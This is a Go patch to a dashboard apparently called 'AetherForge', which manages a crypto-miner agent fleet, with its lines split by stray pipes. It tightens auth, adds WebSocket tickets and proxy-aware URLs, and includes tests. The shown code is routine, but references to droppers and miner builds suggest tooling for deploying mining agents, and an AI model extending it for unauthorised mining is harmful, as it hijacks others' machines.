if peers2[0].(map[string]interface{})["public_key"] != "PUB_HOP1" {
|
||||||
|
t.Fatal("hop2 should peer back to hop1")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPathTracerBuildClientConfig(t *testing.T) {
|
||||||
|
hub := NewWSHub(nil)
|
||||||
|
h := NewPathTracerHandler(hub)
|
||||||
|
sess := testTraceSession(1)
|
||||||
|
sess.clientPrivKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-priv-key!!"))
|
||||||
|
sess.clientPubKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-pub-key!!!"))
|
||||||
|
cfg := h.buildClientConfig(sess)
|
||||||
|
if !strings.Contains(cfg, sess.clientPrivKey) {
|
||||||
|
t.Fatal("config should include client private key")
|
||||||
|
}
|
||||||
|
if !strings.Contains(cfg, sess.Hops[0].PublicKey) {
|
||||||
|
t.Fatal("config should peer to first hop")
|
||||||
|
}
|
||||||
|
if !strings.Contains(cfg, "10.66.0.1/24") {
|
||||||
|
t.Fatal("config should set client address")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPathTracerStartValidation(t *testing.T) {
|
||||||
|
h := NewPathTracerHandler(NewWSHub(nil))
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.Start(rec, req)
|
||||||
|
if rec.Code != http.StatusBadRequest {
|
||||||
|
t.Fatalf("expected 400, got %d", rec.Code)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -15,6 +15,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"unicode"
|
||||||
|
|
||||||
"crypto-miner-server/internal/builder"
|
"crypto-miner-server/internal/builder"
|
||||||
"crypto-miner-server/internal/db"
|
"crypto-miner-server/internal/db"
|
||||||
@@ -342,6 +343,18 @@ func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
|
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
|
||||||
|
func validateDashboardUsername(username string) error {
|
||||||
|
if len(username) < 3 || len(username) > 32 {
|
||||||
|
return fmt.Errorf("username must be 3-32 characters")
|
||||||
|
}
|
||||||
|
for _, c := range username {
|
||||||
|
if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' {
|
||||||
|
return fmt.Errorf("username contains invalid characters")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
func generateRandomPassword() string {
|
func generateRandomPassword() string {
|
||||||
b := make([]byte, 4)
|
b := make([]byte, 4)
|
||||||
if _, err := rand.Read(b); err != nil {
|
if _, err := rand.Read(b); err != nil {
|
||||||
@@ -371,12 +384,22 @@ func saveUser(username, password string) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
usersMu.Unlock()
|
usersMu.Unlock()
|
||||||
|
authSessionCacheMu.Lock()
|
||||||
|
authSessionCache = map[string]time.Time{}
|
||||||
|
authSessionCacheMu.Unlock()
|
||||||
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
||||||
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
||||||
}
|
}
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||||
|
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||||
|
// must not trigger that — only bare browser navigations without these headers should.
|
||||||
|
func isSPAAuthRequest(r *http.Request) bool {
|
||||||
|
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||||
|
}
|
||||||
|
|
||||||
func basicAuthMiddleware(next http.Handler) http.Handler {
|
func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
if r.Method == http.MethodOptions {
|
if r.Method == http.MethodOptions {
|
||||||
@@ -438,7 +461,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
|
|
||||||
user, pass, ok := r.BasicAuth()
|
user, pass, ok := r.BasicAuth()
|
||||||
if !ok {
|
if !ok {
|
||||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
if !isSPAAuthRequest(r) {
|
||||||
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||||
|
}
|
||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -451,7 +476,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
usersMu.RUnlock()
|
usersMu.RUnlock()
|
||||||
|
|
||||||
if !exists || !checkPassword(storedHash, pass) {
|
if !exists || !checkPassword(storedHash, pass) {
|
||||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
if !isSPAAuthRequest(r) {
|
||||||
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||||
|
}
|
||||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -463,7 +490,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||||
ensureUsersLoaded(dataDir)
|
ensureUsersLoaded(dataDir)
|
||||||
|
|
||||||
version := "AetherForge"
|
version := "AetherForge"
|
||||||
@@ -482,7 +509,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
// X-Fleet-Secret is required by agent-facing endpoints; include it so
|
// X-Fleet-Secret is required by agent-facing endpoints; include it so
|
||||||
// browser-based callers (dev tools, custom dashboards) are not blocked
|
// browser-based callers (dev tools, custom dashboards) are not blocked
|
||||||
// by CORS preflight when sending that header.
|
// by CORS preflight when sending that header.
|
||||||
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"},
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"},
|
||||||
AllowCredentials: false,
|
AllowCredentials: false,
|
||||||
}))
|
}))
|
||||||
|
|
||||||
@@ -492,13 +519,25 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
h := NewHandler(database)
|
h := NewHandler(database)
|
||||||
|
|
||||||
r.Get("/health", h.HealthCheck)
|
r.Get("/health", h.HealthCheck)
|
||||||
|
r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) {
|
||||||
|
user := AuthUsername(req)
|
||||||
|
if user == "" {
|
||||||
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ticket := issueWSTicket(user)
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"ticket": ticket,
|
||||||
|
"expires_in": int(wsTicketTTL.Seconds()),
|
||||||
|
})
|
||||||
|
})
|
||||||
r.Get("/server/ready", h.ServerReady)
|
r.Get("/server/ready", h.ServerReady)
|
||||||
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
||||||
override := ""
|
override := ""
|
||||||
if publicURLOverride != nil {
|
if publicURLOverride != nil {
|
||||||
override = publicURLOverride()
|
override = publicURLOverride()
|
||||||
}
|
}
|
||||||
GetServerInfo(w, r, override)
|
GetServerInfo(w, r, override, listenPort)
|
||||||
})
|
})
|
||||||
|
|
||||||
// Dashboard
|
// Dashboard
|
||||||
@@ -583,7 +622,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
|
hint := newSecret
|
||||||
|
if n := len(hint); n > 8 {
|
||||||
|
hint = hint[:8] + "..."
|
||||||
|
} else if n > 0 {
|
||||||
|
hint += "..."
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{"ok": true, "hint": hint})
|
||||||
})
|
})
|
||||||
|
|
||||||
// User Management
|
// User Management
|
||||||
@@ -592,8 +637,24 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
Username string `json:"username"`
|
Username string `json:"username"`
|
||||||
Password string `json:"password"`
|
Password string `json:"password"`
|
||||||
}
|
}
|
||||||
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
|
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil {
|
||||||
http.Error(w, "Invalid username or password", http.StatusBadRequest)
|
http.Error(w, "Invalid JSON", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
payload.Username = strings.TrimSpace(payload.Username)
|
||||||
|
if err := validateDashboardUsername(payload.Username); err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(payload.Password) < 4 || len(payload.Password) > 128 {
|
||||||
|
http.Error(w, "password must be 4-128 characters", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
usersMu.RLock()
|
||||||
|
_, exists := authUsers[payload.Username]
|
||||||
|
usersMu.RUnlock()
|
||||||
|
if exists {
|
||||||
|
http.Error(w, "username already exists", http.StatusConflict)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
if err := saveUser(payload.Username, payload.Password); err != nil {
|
if err := saveUser(payload.Username, payload.Password); err != nil {
|
||||||
|
|||||||
@@ -179,6 +179,52 @@ func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
|
|||||||
if rec.Code != http.StatusUnauthorized {
|
if rec.Code != http.StatusUnauthorized {
|
||||||
t.Fatalf("expected 401, got %d", rec.Code)
|
t.Fatalf("expected 401, got %d", rec.Code)
|
||||||
}
|
}
|
||||||
|
if strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
|
||||||
|
t.Fatal("SPA requests with Authorization must not get WWW-Authenticate")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestIsSPAAuthRequest(t *testing.T) {
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||||
|
if isSPAAuthRequest(req) {
|
||||||
|
t.Fatal("bare request should not be SPA")
|
||||||
|
}
|
||||||
|
req.Header.Set("X-AetherForge-Client", "dashboard")
|
||||||
|
if !isSPAAuthRequest(req) {
|
||||||
|
t.Fatal("client header should mark SPA request")
|
||||||
|
}
|
||||||
|
req = httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||||
|
req.Header.Set("Authorization", "Basic dXNlcjpwYXNz")
|
||||||
|
if !isSPAAuthRequest(req) {
|
||||||
|
t.Fatal("Authorization header should mark SPA request")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBasicAuthMiddlewareSPANoWWWAuthenticate(t *testing.T) {
|
||||||
|
resetAuthState(t)
|
||||||
|
usersMu.Lock()
|
||||||
|
authUsers["admin"] = "secret"
|
||||||
|
usersMu.Unlock()
|
||||||
|
|
||||||
|
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
t.Fatal("handler should not run without auth")
|
||||||
|
}))
|
||||||
|
|
||||||
|
for _, setup := range []func(*http.Request){
|
||||||
|
func(r *http.Request) { r.Header.Set("X-AetherForge-Client", "dashboard") },
|
||||||
|
func(r *http.Request) { r.Header.Set("Authorization", "Basic dXNlcjpwYXNz") },
|
||||||
|
} {
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||||
|
setup(req)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
h.ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusUnauthorized {
|
||||||
|
t.Fatalf("expected 401, got %d", rec.Code)
|
||||||
|
}
|
||||||
|
if rec.Header().Get("WWW-Authenticate") != "" {
|
||||||
|
t.Fatal("SPA-marked 401 must not include WWW-Authenticate")
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
|
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
|
||||||
@@ -242,6 +288,36 @@ func TestRouterPostUsersValidation(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestRouterPostUsersConflict(t *testing.T) {
|
||||||
|
router, _, _, _ := newTestRouter(t)
|
||||||
|
body, _ := json.Marshal(map[string]string{"username": testAuthUser, "password": "otherpass"})
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
|
||||||
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
router.ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusConflict {
|
||||||
|
t.Fatalf("existing username should 409, got %d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRouterPostWSTicket(t *testing.T) {
|
||||||
|
router, _, _, _ := newTestRouter(t)
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/ws-ticket", nil)
|
||||||
|
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
router.ServeHTTP(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
var body map[string]interface{}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if body["ticket"] == nil || body["ticket"] == "" {
|
||||||
|
t.Fatalf("expected ticket in response: %v", body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestRouterPostUsersSuccess(t *testing.T) {
|
func TestRouterPostUsersSuccess(t *testing.T) {
|
||||||
router, _, _, dataDir := newTestRouter(t)
|
router, _, _, dataDir := newTestRouter(t)
|
||||||
|
|
||||||
@@ -352,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
|||||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
|
||||||
|
|
||||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||||
|
|
||||||
@@ -429,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
|||||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||||
|
|
||||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
|
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
|
||||||
|
|
||||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package api
|
|||||||
import (
|
import (
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"net/url"
|
||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -15,41 +16,131 @@ type ServerInfo struct {
|
|||||||
WebSocketURL string `json:"websocket_url"`
|
WebSocketURL string `json:"websocket_url"`
|
||||||
}
|
}
|
||||||
|
|
||||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string) {
|
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
||||||
host := r.Host
|
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
||||||
if idx := strings.Index(host, ":"); idx > 0 {
|
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
||||||
host = host[:idx]
|
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
|
||||||
|
if listenPort <= 0 {
|
||||||
|
listenPort = 8989
|
||||||
}
|
}
|
||||||
|
|
||||||
localIPs := listLocalIPv4()
|
localIPs := listLocalIPv4()
|
||||||
suggestedHost := host
|
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
|
||||||
if isLoopbackHost(host) && len(localIPs) > 0 {
|
|
||||||
suggestedHost = localIPs[0]
|
|
||||||
}
|
|
||||||
|
|
||||||
port := 8989
|
host := r.Host
|
||||||
if idx := strings.LastIndex(r.Host, ":"); idx > 0 {
|
port := listenPort
|
||||||
if p := r.Host[idx+1:]; p != "" {
|
if h, p, err := net.SplitHostPort(r.Host); err == nil {
|
||||||
port = parsePort(p)
|
host = h
|
||||||
|
if parsed := parsePort(p); parsed > 0 {
|
||||||
|
port = parsed
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
|
|
||||||
if strings.TrimSpace(publicURLOverride) != "" {
|
|
||||||
suggestedURL = strings.TrimSpace(publicURLOverride)
|
|
||||||
}
|
|
||||||
info := ServerInfo{
|
info := ServerInfo{
|
||||||
Port: port,
|
Port: port,
|
||||||
Host: host,
|
Host: host,
|
||||||
LocalIPs: localIPs,
|
LocalIPs: localIPs,
|
||||||
SuggestedURL: suggestedURL,
|
SuggestedURL: suggestedURL,
|
||||||
DashboardURL: suggestedURL,
|
DashboardURL: suggestedURL,
|
||||||
WebSocketURL: strings.Replace(strings.Replace(suggestedURL, "https://", "wss://", 1), "http://", "ws://", 1) + "/ws/agent",
|
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||||
}
|
}
|
||||||
|
|
||||||
writeJSON(w, info)
|
writeJSON(w, info)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
|
||||||
|
if norm := normalizePublicURL(publicOverride); norm != "" {
|
||||||
|
return norm
|
||||||
|
}
|
||||||
|
return externalBaseFromRequest(r, listenPort, localIPs)
|
||||||
|
}
|
||||||
|
|
||||||
|
func externalBaseFromRequest(r *http.Request, listenPort int, localIPs []string) string {
|
||||||
|
scheme := requestScheme(r)
|
||||||
|
host := requestHost(r)
|
||||||
|
hostOnly, port := hostAndPort(host, scheme)
|
||||||
|
|
||||||
|
if isLoopbackHost(hostOnly) && len(localIPs) > 0 {
|
||||||
|
hostOnly = localIPs[0]
|
||||||
|
scheme = "http"
|
||||||
|
port = listenPort
|
||||||
|
}
|
||||||
|
|
||||||
|
return formatBaseURL(scheme, hostOnly, port)
|
||||||
|
}
|
||||||
|
|
||||||
|
func requestScheme(r *http.Request) string {
|
||||||
|
if r.TLS != nil {
|
||||||
|
return "https"
|
||||||
|
}
|
||||||
|
if p := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); p != "" {
|
||||||
|
return strings.ToLower(p)
|
||||||
|
}
|
||||||
|
return "http"
|
||||||
|
}
|
||||||
|
|
||||||
|
func requestHost(r *http.Request) string {
|
||||||
|
if h := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0]); h != "" {
|
||||||
|
return h
|
||||||
|
}
|
||||||
|
return r.Host
|
||||||
|
}
|
||||||
|
|
||||||
|
func hostAndPort(host string, scheme string) (hostOnly string, port int) {
|
||||||
|
if h, p, err := net.SplitHostPort(host); err == nil {
|
||||||
|
return strings.Trim(h, "[]"), parsePort(p)
|
||||||
|
}
|
||||||
|
if strings.Count(host, ":") == 1 && !strings.Contains(host, "]") {
|
||||||
|
parts := strings.SplitN(host, ":", 2)
|
||||||
|
return parts[0], parsePort(parts[1])
|
||||||
|
}
|
||||||
|
hostOnly = strings.Trim(host, "[]")
|
||||||
|
if scheme == "https" {
|
||||||
|
return hostOnly, 443
|
||||||
|
}
|
||||||
|
return hostOnly, 80
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatBaseURL(scheme, host string, port int) string {
|
||||||
|
host = strings.Trim(host, "[]")
|
||||||
|
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
|
||||||
|
return scheme + "://" + host
|
||||||
|
}
|
||||||
|
return scheme + "://" + net.JoinHostPort(host, itoa(port))
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizePublicURL(raw string) string {
|
||||||
|
raw = strings.TrimSpace(raw)
|
||||||
|
if raw == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
u, err := url.Parse(raw)
|
||||||
|
if err != nil || u.Scheme == "" || u.Host == "" {
|
||||||
|
return strings.TrimRight(raw, "/")
|
||||||
|
}
|
||||||
|
_, port := hostAndPort(u.Host, u.Scheme)
|
||||||
|
u.Host = formatURLHost(u.Hostname(), port, u.Scheme)
|
||||||
|
u.Path = ""
|
||||||
|
u.RawPath = ""
|
||||||
|
u.RawQuery = ""
|
||||||
|
u.Fragment = ""
|
||||||
|
return strings.TrimRight(u.String(), "/")
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatURLHost(hostname string, port int, scheme string) string {
|
||||||
|
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
|
||||||
|
return hostname
|
||||||
|
}
|
||||||
|
return net.JoinHostPort(hostname, itoa(port))
|
||||||
|
}
|
||||||
|
|
||||||
|
func httpToWS(base string) string {
|
||||||
|
if strings.HasPrefix(base, "https://") {
|
||||||
|
return "wss://" + strings.TrimPrefix(base, "https://")
|
||||||
|
}
|
||||||
|
return "ws://" + strings.TrimPrefix(base, "http://")
|
||||||
|
}
|
||||||
|
|
||||||
func listLocalIPv4() []string {
|
func listLocalIPv4() []string {
|
||||||
var ips []string
|
var ips []string
|
||||||
ifaces, err := net.Interfaces()
|
ifaces, err := net.Interfaces()
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
|
|||||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||||
req.Host = "localhost:8989"
|
req.Host = "localhost:8989"
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
GetServerInfo(rec, req, "")
|
GetServerInfo(rec, req, "", 8989)
|
||||||
|
|
||||||
if rec.Code != http.StatusOK {
|
if rec.Code != http.StatusOK {
|
||||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||||
@@ -71,16 +71,33 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
|
|||||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||||
req.Host = "localhost:8989"
|
req.Host = "localhost:8989"
|
||||||
rec := httptest.NewRecorder()
|
rec := httptest.NewRecorder()
|
||||||
GetServerInfo(rec, req, "https://forge.example.com:443")
|
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
|
||||||
|
|
||||||
var info ServerInfo
|
var info ServerInfo
|
||||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if info.SuggestedURL != "https://forge.example.com:443" {
|
if info.SuggestedURL != "https://forge.example.com" {
|
||||||
t.Fatalf("override not applied: %q", info.SuggestedURL)
|
t.Fatalf("override not applied: %q", info.SuggestedURL)
|
||||||
}
|
}
|
||||||
if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" {
|
if info.WebSocketURL != "wss://forge.example.com/ws/agent" {
|
||||||
t.Fatalf("ws url = %q", info.WebSocketURL)
|
t.Fatalf("ws url = %q", info.WebSocketURL)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestGetServerInfoHTTPSBehindProxy(t *testing.T) {
|
||||||
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||||
|
req.Host = "nothing.thetempleofdoom.com"
|
||||||
|
req.Header.Set("X-Forwarded-Proto", "https")
|
||||||
|
req.Header.Set("X-Forwarded-Host", "nothing.thetempleofdoom.com")
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
GetServerInfo(rec, req, "", 8989)
|
||||||
|
|
||||||
|
var info ServerInfo
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if info.SuggestedURL != "https://nothing.thetempleofdoom.com" {
|
||||||
|
t.Fatalf("tunnel URL = %q, want https without :8989", info.SuggestedURL)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -27,9 +27,14 @@ func secureStringEqual(a, b string) bool {
|
|||||||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||||
}
|
}
|
||||||
|
|
||||||
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
|
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||||
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
|
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||||||
|
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||||||
func checkDashboardWSToken(r *http.Request) bool {
|
func checkDashboardWSToken(r *http.Request) bool {
|
||||||
|
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
|
||||||
|
_, ok := consumeWSTicket(ticket)
|
||||||
|
return ok
|
||||||
|
}
|
||||||
token := r.URL.Query().Get("token")
|
token := r.URL.Query().Get("token")
|
||||||
if token == "" {
|
if token == "" {
|
||||||
return false
|
return false
|
||||||
@@ -43,10 +48,17 @@ func checkDashboardWSToken(r *http.Request) bool {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
user, pass := parts[0], parts[1]
|
user, pass := parts[0], parts[1]
|
||||||
|
if authCacheHit(user, pass) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
usersMu.RLock()
|
usersMu.RLock()
|
||||||
stored, exists := authUsers[user]
|
stored, exists := authUsers[user]
|
||||||
usersMu.RUnlock()
|
usersMu.RUnlock()
|
||||||
return exists && checkPassword(stored, pass)
|
if !exists || !checkPassword(stored, pass) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
authCacheSet(user, pass)
|
||||||
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
var upgrader = websocket.Upgrader{
|
var upgrader = websocket.Upgrader{
|
||||||
@@ -374,10 +386,8 @@ func (h *WSHub) notifyCmdCallback(agentID, action string, payload map[string]int
|
|||||||
}
|
}
|
||||||
h.pendingCmdMu.Unlock()
|
h.pendingCmdMu.Unlock()
|
||||||
if ok {
|
if ok {
|
||||||
select {
|
